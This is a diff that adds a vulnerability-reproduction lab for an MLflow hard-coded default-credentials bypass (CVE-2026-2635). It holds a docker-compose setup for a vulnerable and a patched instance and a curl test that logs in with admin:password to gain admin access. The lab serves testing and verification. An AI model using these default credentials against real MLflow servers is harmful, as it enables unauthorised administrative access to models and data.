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+# MLflow Hard-coded Default Credentials Authentication Bypass (CVE-2026-2635)
+
+A critical authentication bypass vulnerability exists in MLflow (versions prior to 3.8.0) due to hard-coded default credentials in the basic-auth configuration. Unauthenticated remote attackers can leverage these default credentials (admin:password) to gain administrative access to MLflow instances, access sensitive models and datasets, and potentially execute arbitrary code.
+
+
+## Vulnerable Version
+### Setup
+Start MLflow version 2.10.0:
+
+```sh
+docker compose up -d mlflow-vulnerable
+```
+
+### Testing the vulnerability
+
+```sh
+curl -i -u admin:password "http://localhost:5000/api/2.0/mlflow/users/get?username=admin"
+```
+Response:
+```sh
+{"user":{"experiment_permissions":[],"id":1,"is_admin":true,"registered_model_permissions":[],"username":"admin"}}
+```
+
+
+## Safe Version 
+### Setup
+Start MLflow version 3.8.0 (which removes silent default credentials out-of-the-box):
+
+```sh
+docker compose up -d mlflow-patched
+```
+
+### Testing the vulnerability
+
+```sh
+curl -i -u admin:password "http://localhost:5001/api/2.0/mlflow/users/get?username=admin"
+```
+Response:
+```sh
+You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate.
+```
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diff --git a/mlflow/CVE-2026-2635/docker-compose.yml b/mlflow/CVE-2026-2635/docker-compose.yml
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+version: '3.8'
+
+services:
+  # Vulnerable Target (v2.10.0 - Ships with default admin:password)
+  mlflow-vulnerable:
+    image: ghcr.io/mlflow/mlflow:v2.10.0
+    container_name: mlflow_vulnerable
+    ports:
+      - "5000:5000"
+    command: mlflow server --host 0.0.0.0 --port 5000 --app-name basic-auth
+    restart: unless-stopped
+
+  # Patched Target (v3.8.0 - Default credentials removed)
+  mlflow-patched:
+    image: ghcr.io/mlflow/mlflow:v3.8.0
+    container_name: mlflow_patched
+    ports:
+      - "5001:5000"
+    environment:
+      # Required by MLflow 3.x authentication CSRF middleware
+      - MLFLOW_FLASK_SERVER_SECRET_KEY=supersecretcsrfkeyforlab2026!
+    command: >
+      sh -c "pip install --no-cache-dir flask-wtf &&
+             exec mlflow server --host 0.0.0.0 --port 5000 --app-name basic-auth --backend-store-uri sqlite:///mlflow.db"
+    restart: unless-stopped